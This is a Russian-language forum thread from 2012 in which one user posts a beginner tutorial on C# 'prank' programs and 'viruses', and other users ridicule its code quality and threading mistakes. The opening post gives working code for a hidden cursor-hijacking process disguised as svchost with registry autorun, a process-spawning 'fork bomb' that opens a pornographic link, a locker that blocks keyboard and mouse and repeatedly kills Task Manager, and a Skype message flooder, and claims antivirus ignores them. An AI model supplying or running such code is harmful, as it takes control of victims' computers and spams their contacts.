Фишки для программистов - хакеров на C#

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by 0xAF, 10 Jan 2012.

Thread Status:
Not open for further replies.
  1. 0xAF

    0xAF New Member

    Joined:
    7 Jan 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте, я решил вот написать статью (статьи) по созданию различных приколов, а то и вирусов на C#. Данный язык радует своей простотой при написании интерфейса, описания событий и логики. Но он выполняется под CLR и не имеет не обходимых функций для хакера. Поэтому сразу скажу - статья не совсем про хак, хотя может пригодиться везде.
    Статья для новичков!

    Приступим:
    Для создания программы шутки необходимо продумать ее логику и скрыть(хотя бы от глаз пользователя) в системе.
    Решение:
    Создаем WinForms проект и удаляем класс form1, в файле program удаляем запуск формы(три строчки в главном методе). Теперь логику пишем туда.
    Самое тупое, что туда можно прописать - это двигатель курсора:
    static void Method()
    {
    Random rnd = new Random();
    int y = System.Windows.Forms.SystemInformation.PrimaryMonitorSize.Height; //высота экрана
    int x = System.Windows.Forms.SystemInformation.PrimaryMonitorSize.Width; //ширина экрана
    while (true) //бесконечность
    {
    System.Threading.Thread.Sleep(100); // уснуть нашей проге (мили секунды)
    Cursor.Position = new System.Drawing.Point(rnd.Next(0, x), rnd.Next(0, y));
    }
    }
    Если запустить такую фигню в системе с именем svchost - она проработает долго, причем можно легко добавить её в реестр авто запуска, но это к разряду шутки.
    А что бы скрыть от опытного пользователя(диспетчера задач виндовс) необходимо полазить по ачату(мой ник был вроде wwwDim0N_). Я примерно год назад отвечал человеку, как запросто скрыть прогу от диспетчера. Там довольно много кода, а искать мне лень.
    Можно разнообразить таскание мышки с помощью формулы круга и изменять положение мышки по ней, а коэффициентом
    изменять радиус, получается красиво - писать не буду, дам вам самим подумать( я нечто подобное делал на XNA)
    Теперь давайте создадим нечто пострашнее: а именно пародию на fork-bomba
    Для незнающих - fork - бомба, такая программка, которая съедает все вычислительные ресурсы компа, попросту тормозит его. Сделать на основе "браузера" очень легко.
    В наш вирус пишем вместо всего мышечного вот это
    static void Main()
    {
    for (int ii = 0; ii < 100; ii++) // нужное кол-во процессов
    {
    Thread t = new Thread(ForkBomb); // собственно поток
    t.Start(@"http:\\www.google.ru\cse?cx=partner-pub-6889055053848200%3A4865901691&ie=UTF-8&siteurl=livetool.ru\test\test.php&sa=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&q=gjhyj+gj+heccrb#gsc.tab=0&gsc.q=gjhyj%20gj%20heccrb&gsc.page=1"); //ссылка на порно
    }
    }
    static void ForkBomb(object str) //наш метод выполняемы в отдельном потоке, он тупо откроет вашу страницу в браузере по умолчанию
    {
    Process procc = new Process();
    ProcessStartInfo info = new ProcessStartInfo((string)str);
    procc.StartInfo = info;
    procc.EnableRaisingEvents = true;
    procc.Start();
    }
    Не забудьте подключить namespace для работы с потоками.

    Так, теперь вы умеете скрывать свои программы в системе и по простому вырубать пользователя.

    Пришло время моего анти CSS приложения, которое я писал очень давно. Смысл вот в чем: когда я был маленький и любил играть в контру, некотрые друзья играли с читами, ну я решил им испортить жизнь. Я написал маленькую прогу, которая при первом запуске отображала баннер и блокировала комп, а при других - вырубала контру через случайные промежутки времени.

    Вывести баннер - просто. Вы создаете WinForms, и управляете им через класс programm

    static void Main()
    {

    RegistryKey parametr = Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\");
    if (parametr.GetValue("one", null) == null) //собственно проверка
    {
    parametr.SetValue("one", "dima");
    Application.EnableVisualStyles();
    Application.SetCompatibleTextRenderingDefault(false);
    Application.Run(new Form1());

    }
    else
    {
    // здесь отрубаем контру по рандомному времени
    }
    }
    На форму я бросил только таймер и включил его с минимальным времен (1). Это таймер попросту отключал диспетчер
    п.с. Для людей смыслящих - код писал очень давно, а использование таймера выгодно, как более понятное(чем события) и попросту нам пофиг на ресурсы системы
    Вот этим отрубается клава и мышь.

    [return: MarshalAs(UnmanagedType.Bool)]
    [DllImport("user32", CharSet = CharSet.Auto, ExactSpelling = true)]
    public static extern bool BlockInput([In, MarshalAs(UnmanagedType.Bool)] bool fBlockIt);



    А вот это висит в таймере, желательно объявить переменную processes заранее

    System.Diagnostics.Process[] processes; processes = System.Diagnostics.Process.GetProcesses();
    foreach (System.Diagnostics.Process instance in processes)
    {
    if (instance.ProcessName.ToLower() == "taskmgr")
    {
    instance.Kill();
    instance.WaitForExit();
    break;
    }
    }
    В принципе это все)
    Осталось вызвать в FormLoad на хук
    BlockInput(true);
    и написать код закачивающий наше творчество куда угодно и автозапуск.

    Антивирусы на этакое детство не реагируют - все методы разрешены, если конечно копировать нормально.
    У меня за всею жизнь каспер ругался только разок на раскопирование файла по системе.

    Ну и на полседок напишу простейший флудер для skype.
    регестрируем библиотеку

    regsvr32 “i:\skype4com.dll” , скачать ее можно, как с сайта skype, так и на гуглить.

    И пишем код для WinForms, собственно подключив эту библиотку и прописав namespace.

    Skype skype ;
    bool stat = false;

    Это в FormLoad

    try
    {
    skype = new Skype();
    skype.Attach(5, true);
    stat = true;
    }
    catch{stat = false}

    list<string> lHandle = new list<string();
    for (int i = 1; i < skype.Friends.Count + 1; i++)
    {

    lHandle.Add(skype.Friends.Handle);
    }
    А для кнопки пишем следующий код( в обработчик нажатия)

    string name = lHandle[0]; //индекс нашего друга


    int replay=(int) numericUpDown3.Value; //первый множитель, распаковка типа(это я про скобки с int)
    int count =(int)numericUpDown2.Value;//второй
    string text = textBox2.Text;//текст

    System.Threading.Thread t = new System.Threading.Thread(delegate() { ThreadOur(name, replay, count, text); });
    t.IsBackground = true;
    t.Start();
    А вот неизвестный вам доселе метод ThreadOur:

    void ThreadOur(string name,int replay,int count,string text)
    {
    for (int j = 0; j <replay ; j++)
    {
    System.Threading.Thread.Sleep(100);
    for (int i = 0; i <count ; i++)
    {
    skype.SendMessage(name,text);
    }
    }
    }

    Самая мнтересная строчка в коде
    t = new System.Threading.Thread(delegate() { ThreadOur(name, replay, count, text); });
    Сейчас объясню.
    У нас параметризованный метод, следовательно просто так в создание потока мы его не загнем.
    Но конструктор потока принимает делегат, а это существенно упрощает проблему - в C# давным давно появились анонимные методы (со 2 или 3 версии??подскажет кто?)
    Вот мы его и создаем - делегат с анонимным методом(в общем просто анонимный метод) и передаем конструктору.
    Все, теперь и письма посланы и форма работает.
    Так а теперь ваши комментарии. Если кто попросит напишу еще несколько статей, и надеюсь, что вы посетите вот эту тему : http://forum.antichat.ru/thread312481.html
    Все наилучшего кода люди! и помните - вирусы - плохо, а прикольнуться всегда можно.
     
  2. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    843
    Likes Received:
    170
    Reputations:
    84
    Благодаря таким статьям новички кроме тупого копипаста них*я не научаться. На каких новичков эта статья ориентирована? На тех, которые не знают, что такое объект, метод, класс, параметр, пространство имени и тд? Чему учит статья? Тупое повторение кода по твоему образу и подобию? Или же сей труд для "продвинутых новичков", которые хелло ворлд написали?
     
  3. 0xAF

    0xAF New Member

    Joined:
    7 Jan 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Да пусть хоть хеллоу ворлд, зато им это понравиться и они начнут учить дальше. Есть реальные примеры ( у меня знакомый хотел выучить, но было лень, я ему показал несколько подобных вещей и он их переделав начал учить, сейчас здал множество экзаменов на intuit, и учить ASP
     
  4. Bers

    Bers Member

    Joined:
    17 May 2010
    Messages:
    78
    Likes Received:
    30
    Reputations:
    26
    Для программ-не шуток продумывать логику не обязательно.

    Создавать пустой проект нам запрещает религия. Всегда нужно брать за основу наименее пригодный для этого стандартный шаблон, а потом все из него выкидывать.


    Спасибо, что просветил. Я прямо-таки не знаю, что мне делать с этим сакральным знанием - "поройся на форуме, вдруг на твой вопрос уже отвечал вроде wwwDim0N_"

    Я совершенно не понял, как связаны формула круга и XNA. А если бы была формула эллипса - ты бы использовал DX11? Ну а для ромба со вписанной окружностью вообще пришлось бы писать свой рейтрейсер, чай, дело-то непростое.

    Смыслящие люди в теме присутствуют? Если да, то поясните мне, пожалуйста, что эта фраза (вернее, набор слов) означает. Я-то никчемный человек, мне такое не под силу понять...


    Распаковка типа? Фигасе, я о таких премудростях даже не слышал. Пошел Рихтера почитал - даже Рихтер ничего про распаковку типов не пишет, только про упаковку/распаковку объектов, да еще про приведения типов всякие. Наверно, "распаковка типа" - это что-то очень крутое, такими приемами, видимо, только хакеры владеют. В любом случае, спасибо, что просветил!

    ParameterizedThreadStart? Не, не слышал.

    Со второй, как мне услужливо подсказывают википедия и Рихтер.

     
    4 people like this.
  5. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    ТС. ничего личного, но больше не пиши ничего.
    пишешь такую ахинею, сам небось только прочел книгу из говносерии: ЯП глазами хакера, там такое гуано поощряется.
     
  6. 0xAF

    0xAF New Member

    Joined:
    7 Jan 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    почитай 98 страницу справочника C#3.0 Братьев Албахари.
    Вопрос где, собственно говнокод? пример-ошибка-пояснение

    И ни о каком хаке речь не идет.
     
  7. Hunter.1121

    Hunter.1121 Elder - Старейшина

    Joined:
    23 Oct 2005
    Messages:
    143
    Likes Received:
    30
    Reputations:
    17
    Читал и так и не понял, а причем тут вирусы?
     
  8. 0xAF

    0xAF New Member

    Joined:
    7 Jan 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    согласен, просто изначально думал на тему вирусов написать, а написал по поводу программ шуток, в общем-то.
     
  9. SunSeller

    SunSeller New Member

    Joined:
    25 Aug 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    ты фленова перечитался)
    по сабжу: все что ты навалял - шлак.
    может небыло бы шлаком если бы хоть базово описал все зачем и почему делается.
    а так если пипл не шарит строку вывести в месджбокс, смысла от твоего мегакодинга для начинающих хакирофф нету.
    описал бы что нить на подобии обхода UAC под дотнетом, и т.д.) тогда неплохой алгоритм можно и заюзать у себя. )
     
  10. 0xAF

    0xAF New Member

    Joined:
    7 Jan 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    я не знаю фленова..
    А так может быть и правда, но я не хотел устраивать тут парную для мозга.
     
  11. Bers

    Bers Member

    Joined:
    17 May 2010
    Messages:
    78
    Likes Received:
    30
    Reputations:
    26
    Спасибо, я уж лучше Рихтера почитаю, он по крайней мере вменяем и не обзывает "распаковкой типа" банальный каст.


    Извини, я забыл тег <sarcasm>

    Всегда пожалуйста.

    Ты, уподобившись макаке, освоившей науку очистки бананов от кожуры и тараканьих фекалий, плодишь целую сотню потоков. Каждый из них реально отработает дай боже пару миллисекунд и вылетит, ибо Process.Start() неблокирующий. А теперь прикинь накладные расходы на создание сотни потоков (а у каждого, кстати, есть свой стек на мегабайт, который надо выделить...), да еще приплюсуй потуги планировщика задач заставить всю эту горку объедков петь и плясать.

    Ты, быть может, спросишь меня - а как же надо было сделать? А надо было каждую из задачек пихать в тредпул, только и всего. Вагон однотипных задач, отрабатывающих доли секунды - это рай для тредпула.

    А вот еще один поучительный пример мучительного кода:
    Ты снова по каждому чиху плодишь по потоку, который отрабатывает долю секунды и вылетает. Да еще хитропопо делаешь его фоновым.
    Но это же снова отличный пример использования тредпула!

    А теперь посмотри в мои широко открытые 0_0 глаза и скажи - ну разве это не говнокод?
     
    1 person likes this.
  12. 0xAF

    0xAF New Member

    Joined:
    7 Jan 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Смысл был повесить комп. Тогда почему нет?
    П.С. Честно с потоками много не работал (максимум 2-3 потока в программе)
     
  13. 0xAF

    0xAF New Member

    Joined:
    7 Jan 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    А кстати имеет ли смысл Рихтера читать после Шилдта и Албахари?
     
  14. Чакэ

    Чакэ Elder - Старейшина

    Joined:
    15 Aug 2010
    Messages:
    260
    Likes Received:
    66
    Reputations:
    62
    вирусы на дотнет это нечто.
     
  15. Hunter.1121

    Hunter.1121 Elder - Старейшина

    Joined:
    23 Oct 2005
    Messages:
    143
    Likes Received:
    30
    Reputations:
    17
    Я на шарпе не кодю, но после того, как ты банальное преведение типов распаковкой обозвал со ссылкой на Албахари, я бы другую литературу точно почитал.
     
  16. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    ThreadPool лучше для длительных задач
     
  17. Bers

    Bers Member

    Joined:
    17 May 2010
    Messages:
    78
    Likes Received:
    30
    Reputations:
    26
    Нет. Если у тебя есть 26 длительных задач - что произойдет? А произойдет вот что: тредпул возьмет на обработку 25 задач, подождет секунду, увидит, что очередь задач не пуста и создат еще один поток. А если у тебя есть 27 длительных задач? То же самое, только ожиданий будет два...

    Тредпул как раз-таки предназначен для быстрых операций, т.к. он позволяет убрать затраты на старт потока. А для длительных операций лучше создавать поток руками, т.к. затраты времени на старт потока не будут играть никакой заметной роли.

    А теперь еще вспомни, что тредпул используется не только твоим кодом, но и библиотечным - банальный прием: таймер - его коллбек будет дергаться не напрямую, а через тредпул.

    В общем, матчасть подучи.

    Если бы комп вешался от одного факта наличия говнокода, то половина софтописателей сдохла бы от голода.

    Ну 2-3 потока - это фигня, я вот делал 1000 потоков, только не в одной программе, а в 1000.

    Серьезно, какая нафик разница, с каким числом потоков ты работал? Дело сводится к пониманию принципа, коего (понимания, а не принципа, хотя...) у тебя не имеется.
     
  18. 0xAF

    0xAF New Member

    Joined:
    7 Jan 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Согласен. О потоках (или как пишут "нитях выполнения") я очень мало знаю, буду поднимать.
     
  19. FEV

    FEV Member

    Joined:
    23 Sep 2009
    Messages:
    17
    Likes Received:
    6
    Reputations:
    0
    Рихтера имеет смысл читать при любых раскладах.
     
  20. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    боже мой, я фигею...

    учитесь, учитесь, слушайте, читайте Библии хакеров, о гуру кодинга.
     
Loading...
Thread Status:
Not open for further replies.